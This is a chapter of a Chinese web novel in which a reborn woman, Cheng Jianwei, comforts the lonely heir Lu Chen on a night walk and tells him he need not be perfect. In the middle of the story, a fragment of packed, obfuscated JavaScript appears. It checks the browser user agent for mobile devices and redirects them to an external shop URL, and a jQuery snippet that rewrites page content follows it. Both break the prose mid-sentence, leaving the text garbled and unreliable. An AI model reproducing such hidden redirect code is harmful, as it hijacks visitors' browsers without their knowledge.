程见微看着他。


    月光和路灯的光混合在一起，照在他脸上，让他的轮廓显得既清晰又模糊，像一幅素描，线条分明，但阴影浓重。他看起来很年轻，才十八岁，脸上还有少年人的青涩，但眼睛里有太多不属于这个年龄的东西——疲惫，沉重，孤独，还有那种深不见底的、几乎要将他吞噬的黑暗。


    她忽然想起上一世的自己。


    不是十八岁的她，是七十八岁的她。躺在病床上，身上插满了管子，机器在旁边发出规律的滴滴声。她回顾一生：升迁，政绩，荣誉，那些被她攻克的问题，那些被她推行的政策，那些被她改变的规则。


    还有那些被她推开的人，那些被她忽略的感情，那些被她用理性过滤掉的、属于“人”的瞬间。


    她曾经以为那是正确的活法。


    理性，高效，目标明确，不被情感左右，不被软弱侵蚀。她以为那样就能活得更好，就能走得更远，就能……不留遗憾。


    但现在，看着陆忱，她不确定了。


    看着他像一株在黑暗中挣扎的植物，拼命向着唯一的光源生长，哪怕那光源微弱得几乎看不见。


    看着他用尽全力维持表面的完美，内心却早已千疮百孔。


    看着他明明那么痛苦，却连倾诉都不敢彻底，只能说到一半就停住，把那些最黑暗的念头咽回去。


    她不确定了。


    “你不需要完美。”她说，声音在夜色中显得格外清晰，像一块石子投入平静的湖面，激起一圈圈涟漪。


    陆忱愣了一下。


    他转过头，看着她，眼睛里有一丝茫然，像没听懂她的话，又像听懂了但不敢相信。


    “什么？”


    “你不需要完美。”程见微重复道，目光直视着他，没有任何躲闪，“你只需要是你自己。”


    很简单的一句话。


    只有八个字。


    但陆忱觉得这句话像一把钥匙，轻轻插进了他心脏某处锈死了十三年的锁孔里。锁没有立刻打开，锁芯已经锈蚀得太严重，但他听到了里面齿轮开始转动的细微声响，听到了那些被尘封了太久的东西开始苏醒的声音。


    “我自己……”他低声重复，像在念一个陌生的词语，“我自己是什么样子的？”


    他不知道。


    从五岁开始，他就被训练成“陆忱”——那个完美的继承人。真正的自己是什么样子？喜欢什么，讨厌什么，想要什么，害怕什么，梦想什么，渴望什么……这些问题的答案，都淹没在那些训练和期待之下，像沉船沉入深海，连他自己都找不到了。


    “你在找。”程见微说，声音很轻，但很坚定，“这已经很好了。”


    她在鼓励他。


    不是鼓励他成为什么，不是鼓励他达到什么标准，不是鼓励他满足谁的期待。而是鼓励他寻找。


    寻找自己，寻找真实，寻找那些被掩埋的、属于“陆忱”而不是“陆氏继承人”的部分。哪怕只是开始寻找，哪怕还没有找到，哪怕前路迷茫。


    这就已经很好了。


    陆忱看着她，很久。


    夜风吹过，带来湖面的湿气和远处桂花残存的香气。一片梧桐叶子从树上落下，旋转着，慢镜头般飘到他们脚边，叶脉在路灯下清晰可见，像某种精致的血管图，记录着它曾经活过的证据。


    “程见微。”他忽然叫她的名字。


    声音有些沙哑，像很久没有说过话，喉咙有些干涩。


    “嗯？”


    “谢谢你。”他说，每个字都说得很重，像用尽了全身的力气，“谢谢你听我说这些。”


    程见微摇摇头：“不用谢。”


    她顿了顿，补充道，声音依然很平，但多了一丝几乎察觉不到的柔和：


    “如果你需要，可以随时找我说话。不一定非要……编个算法问题的理由。”


    她说得很轻，像在说一件无关紧要的小事。但陆忱的心脏猛地一跳，像被什么击中了。


    她知道。


    她早就知道了。知道他编了理由，知道他真正想见的是她而不是讨论问题，知道他那些小心翼翼和不敢言说的渴望，知道他那颗在黑暗中挣扎的心。


    但她没有拆穿。


    没有嘲笑，没有指责，没有说“你为什么要撒谎”，没有露出那种看穿一切的表情，没有表现出任何不耐烦或不悦。


    她只是……接受了。接受了他的借口，接受了他的脆弱，接受了他的靠近，甚至现在，用这种最温和的方式告诉他：我知道，没关系，你可以直接来找我。


    这个认知让陆忱感到一种几乎让他窒息的……温暖。


    像在冰天雪地里走了太久，久到已经忘记了温暖是什么感觉，久到以为自己会永远冻僵在那里。


    然后突然，找到了一间有炉火的小屋，推开门，暖意扑面而来，瞬间融化了他身上所有的冰霜，融化了那些冻僵的关节，融化了那颗几乎停止跳动的心脏。


    他想说更多。


    想说他对她的感觉，想说那些阴暗的渴望，想说他想成为她的什么人，想说……他可能已经爱上她了。


    但他不敢。


    怕一说出口，这难得的温暖就会消失。怕她会后退，会重新筑起高墙，会回到那种礼貌但遥远的距离，会把他推回那个冰冷的世界。


    所以他只是点点头，说：


    “好。”


    一个字，很轻，但里面包含了他所有不敢说出口的承诺：我会找你，我会信任你，我会试着向你敞开，我会……尝试成为我自己。


    程见微站起身。


    木制长椅发出细微的吱呀声，在安静的夜色中格外清晰。


    “不早了，该回去了。”她说。


    陆忱也站起来。胃部的不适感已经完全消失了，取而代之的是一种轻盈的、几乎让他想微笑的感觉。但他克制住了，只是点了点头。


    心里却是恋恋不舍的——不舍得这个夜晚就这样结束，不舍得和她的独处时刻，不舍得这份难得的平静和温暖。


    他甚至想，如果可以，他想一直和她待着，就这样坐在湖边，看着夜色，什么也不说，就很好。


    但他知道不可能。


    时间会走，夜晚会结束，他们都要回到各自的生活里。


    两人沿着来时的路往回走。


    这一次，距离缩短到了二十公分。陆忱能感觉到她的手臂偶尔会轻轻擦过他的手臂，针织开衫柔软的布料摩擦着他的衬衫袖口，发出细微的窸窣声，在安静的夜色中格外清晰。每一次触碰都像一个小小的电流，穿过衣服，穿过皮肤，直达心脏，在那里激起一圈圈微小的涟漪。


    他想更近一些。


    想握住她的手，想感受她掌心的温度，想和她十指相扣。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078530|193824||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >想……


    但他没有。


    他只是走在她身边，享受着这份难得的、平静的、真实的陪伴。享受着夜风的清凉，享受着路灯的昏黄，享受着脚步的节奏，享受着……她的存在。


    走到宿舍区分岔路口时，程见微停下脚步。


    “我到了。”她说。


    陆忱也停下，看着她。路灯的光从她头顶照下来，给她整个人镀上一层柔和的金色光边，像某种圣像画的光晕。她的头发在灯光下泛着温暖的光泽，眼睛在灯光下呈现出一种温暖的琥珀色，像秋天的枫糖，清澈而甜蜜，让人想尝一口。


    “周五……”他开口，又停住了。


    他想说什么？想让她等他？想让她记得他？想让她……想他？


    但他什么也说不出口。那些话太沉重，太赤裸，太……不像他。


    “路上小心。”程见微说，语气自然得像在说“明天见”，没有任何刻意的关心，只是很自然的嘱咐，“到了发个消息。”


    陆忱的心脏又跳快了几拍。


    她在关心他。


    不是客套的关心，不是敷衍的关心，而是真实的、具体的关心——路上小心，到了发个消息。简单，直接，没有任何华丽的辞藻，但对他来说，意义重大。因为这意味着，她在乎他是否安全，在乎他是否顺利，在乎他……这个人。


    “好。”他说，声音有些沙哑，“我会的。”


    程见微点点头，转身走向女生宿舍楼。走了几步，她回头看了他一眼。


    那一眼很短，不到一秒，但陆忱记住了。


    记住了她回头的样子——微微侧身，长发随着动作轻轻摆动，琥珀色的眼睛在夜色中闪着微光。记住了她眼里的平静和温和，像月光，不炽热，但持久。记住了这个夜晚所有细微的、珍贵的瞬间：她坐在他对面的样子，她走路时的背影，她说话时的声音，她看他的眼神。


    然后她消失在宿舍楼的门后。


    玻璃门关上，发出轻微的咔哒声。


    陆忱站在原地，看着那扇关上的门，很久。


    夜风吹过，带来深秋的凉意，吹在他脸上，但他不觉得冷。相反，他觉得整个人都是温暖的，从内到外，像被阳光晒了一整天，每一个细胞都充满了暖意。


    他拿出手机，看了一眼时间：21:47。


    他们走了一个多小时。


    一个多小时里，他说了这辈子从未对任何人说过的话。一个多小时里，他袒露了那些深埋心底的伤口，那些从未示人的脆弱。一个多小时里，他感受到了从未感受过的被理解和被接纳——不是因为他是什么“陆氏继承人”，不是因为他有什么价值，只是因为他这个人。


    一个多小时里，他……


    找到了某种东西。


    不是答案，不是解决方案，不是摆脱困境的方法。而是一种……可能性。一种他可以不是“陆氏继承人”，而只是“陆忱”的可能性。一种他可以不必完美，不必永远坚强，不必永远正确的可能性。一种他可以脆弱，可以迷茫，可以……只是做他自己的可能性。


    他深吸一口气，夜风的凉意进入肺里，带来一种清醒的刺痛感，但也带来一种全新的、轻盈的自由感，像卸下了什么沉重的担子。


    然后他转身，走向自己的宿舍楼。


    脚步很稳，像什么也没有发生过，但内心早已天翻地覆。